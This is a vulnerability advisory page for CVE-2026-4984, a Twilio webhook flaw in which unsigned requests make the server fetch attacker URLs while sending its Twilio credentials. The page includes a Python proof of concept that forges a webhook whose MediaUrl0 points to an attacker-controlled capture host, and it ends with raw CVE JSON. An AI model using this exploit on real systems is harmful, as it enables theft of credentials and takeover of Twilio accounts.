Security Vulnerability Report
中文
CVE-2026-4984 CVSS 8.2 HIGH

CVE-2026-4984

Published: 2026-03-27 15:17:04
Last Modified: 2026-05-10 14:16:51

Description

The Twilio integration webhook handler accepts any POST request without validating Twilio's 'X-Twilio-Signature'. When processing media messages, it fetches user-controlled URLs ('MediaUrlN' parameters) using HTTP requests that include the integration's Twilio credentials in the 'Authorization' header. An attacker can forge a webhook payload pointing to their own server and receive the victim's 'accountSID' and 'authToken' in plaintext (base64-encoded Basic Auth), leading to full compromise of the Twilio account.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

未明确指定具体版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # The vulnerable endpoint URL vulnerable_webhook_url = "http://target-system.com/api/twilio/webhook" # Attacker's server to capture the leaked credentials attacker_server = "http://attacker-controlled.com/capture" # Malicious payload forging a Twilio message # The 'MediaUrl0' parameter points to the attacker's server malicious_payload = { "From": "+15550000000", "To": "+15559999999", "Body": "SSRF PoC", "MediaUrl0": attacker_server } # Send the POST request to the vulnerable integration # Note: X-Twilio-Signature is not required due to the vulnerability response = requests.post(vulnerable_webhook_url, data=malicious_payload) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Check logs at {attacker_server} for the 'Authorization' header containing the credentials.") else: print("[-] Request failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4984", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:17:03.953", "lastModified": "2026-05-10T14:16:51.070", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Twilio integration webhook handler accepts any POST request without validating Twilio's 'X-Twilio-Signature'.\n\nWhen processing media messages, it fetches user-controlled URLs ('MediaUrlN' parameters) using HTTP requests that include the integration's Twilio credentials in the 'Authorization' header.\n\nAn attacker can forge a webhook payload pointing to their own server and receive the victim's 'accountSID' and 'authToken' in plaintext (base64-encoded Basic Auth), leading to full compromise of the Twilio account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-345"}, {"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://www.tenable.com/security/research/tra-2026-22", "source": "[email protected]"}]}}